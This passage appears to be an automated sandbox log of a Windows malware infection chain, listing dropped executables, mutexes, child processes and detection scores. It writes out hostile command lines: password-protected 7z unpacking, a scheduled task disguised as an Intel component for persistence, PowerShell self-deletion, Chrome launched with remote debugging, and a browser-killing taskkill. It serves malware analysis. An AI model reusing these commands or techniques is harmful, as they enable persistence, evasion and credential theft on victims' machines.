                                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2200:120:WilError_03
                                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7324:120:WilError_03
                                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4460:120:WilError_03
                                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7220:120:WilError_03
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeMutant created: \Sessions\1\BaseNamedObjects\Local\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeMutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
                                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5960:120:WilError_03
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeMutant created: \Sessions\1\BaseNamedObjects\My_mutex
                                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6004:120:WilError_03
                                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7108:120:WilError_03
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeMutant created: \Sessions\1\BaseNamedObjects\Local\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000
                                      Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\abc3bc1985Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeProcess created: C:\Windows\explorer.exe
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSystem information queried: HandleInformation
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
                                      Source: C:\Windows\SysWOW64\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
                                      Source: C:\Windows\SysWOW64\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
                                      Source: C:\Windows\SysWOW64\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
                                      Source: C:\Users\user\Desktop\file.exeFile read: C:\Users\desktop.iniJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeFile read: C:\Windows\System32\drivers\etc\hosts
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeFile read: C:\Windows\System32\drivers\etc\hosts
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeFile read: C:\Windows\System32\drivers\etc\hosts
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeFile read: C:\Windows\System32\drivers\etc\hosts
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeFile read: C:\Windows\System32\drivers\etc\hosts
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeFile read: C:\Windows\System32\drivers\etc\hosts
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeFile read: C:\Windows\System32\drivers\etc\hosts
                                      Source: 1f3cab3382.exe, 00000026.00000003.3130743244.0000000005ABD000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3130203841.0000000005AD8000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3155984239.0000000005AB9000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3396777094.00000000056C8000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3315294365.000000000583D000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3290935175.0000000005828000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                                      Source: file.exeVirustotal: Detection: 56%
                                      Source: file.exeReversingLabs: Detection: 52%
                                      Source: file.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                                      Source: skotes.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                                      Source: skotes.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                                      Source: C:\Users\user\Desktop\file.exeFile read: C:\Users\user\Desktop\file.exeJump to behavior
                                      Source: unknownProcess created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
                                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
                                      Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                      Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe "C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe"
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mode.com mode 65,10
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                      Source: C:\Windows\System32\attrib.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
                                      Source: C:\Windows\System32\attrib.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
                                      Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
                                      Source: unknownProcess created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe explorer.exe
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe "C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe"
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess created: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe "C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe"
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe "C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe"
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe "C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe"
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe "C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe"
                                      Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe "C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe"
                                      Source: unknownProcess created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeProcess created: C:\Windows\explorer.exe explorer.exe
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exe "C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exe"
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
                                      Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2084,i,17663144075808195390,7313190882510113121,262144 /prefetch:8
                                      Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe "C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe"
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
                                      Source: C:\Windows\SysWOW64\taskkill.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeProcess created: C:\Windows\SysWOW64\taskkill.exe
                                      Source: C:\Windows\SysWOW64\taskkill.exeProcess created: C:\Windows\System32\conhost.exe
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeProcess created: C:\Windows\SysWOW64\taskkill.exe
                                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe "C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe" Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe "C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe" Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe "C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe" Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe "C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe" Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe "C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe" Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exe "C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exe" Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: unknown unknownJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: unknown unknownJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: unknown unknownJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: unknown unknownJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: unknown unknownJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: unknown unknownJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: unknown unknownJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: unknown unknownJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"Jump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mode.com mode 65,10Jump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +H "in.exe"Jump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe" Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe explorer.exe
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess created: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe "C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe"
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeProcess created: unknown unknown
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeProcess created: unknown unknown
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeProcess created: unknown unknown
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeProcess created: unknown unknown
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeProcess created: unknown unknown
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeProcess created: unknown unknown
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe explorer.exe
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: unknown unknown
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeProcess created: C:\Windows\SysWOW64\taskkill.exe
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeProcess created: C:\Windows\SysWOW64\taskkill.exe
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeProcess created: unknown unknown
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeProcess created: unknown unknown
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeProcess created: unknown unknown
                                      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                                      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                                      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2084,i,17663144075808195390,7313190882510113121,262144 /prefetch:8
                                      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                                      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                                      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                                      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                                      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                                      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeProcess created: unknown unknown
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeProcess created: unknown unknown
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: apphelp.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: winmm.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: wininet.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: sspicli.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: kernel.appcore.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: uxtheme.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: mstask.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: windows.storage.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: wldp.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: mpr.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: dui70.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: duser.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: chartv.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: oleacc.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: atlthunk.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: textinputframework.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: coreuicomponents.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: coremessaging.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: ntmarta.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: coremessaging.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: wintypes.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: wintypes.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: wintypes.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: wtsapi32.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: winsta.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: textshaping.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: propsys.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: explorerframe.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: iertutil.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: profapi.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: edputil.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: urlmon.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: srvcli.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: netutils.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: appresolver.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: bcp47langs.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: slc.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: userenv.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: sppc.dllJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: apphelp.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: winmm.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: wininet.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: kernel.appcore.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: winmm.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: wininet.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: kernel.appcore.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: winmm.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: wininet.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: sspicli.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: iertutil.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: windows.storage.dllJump to behavior
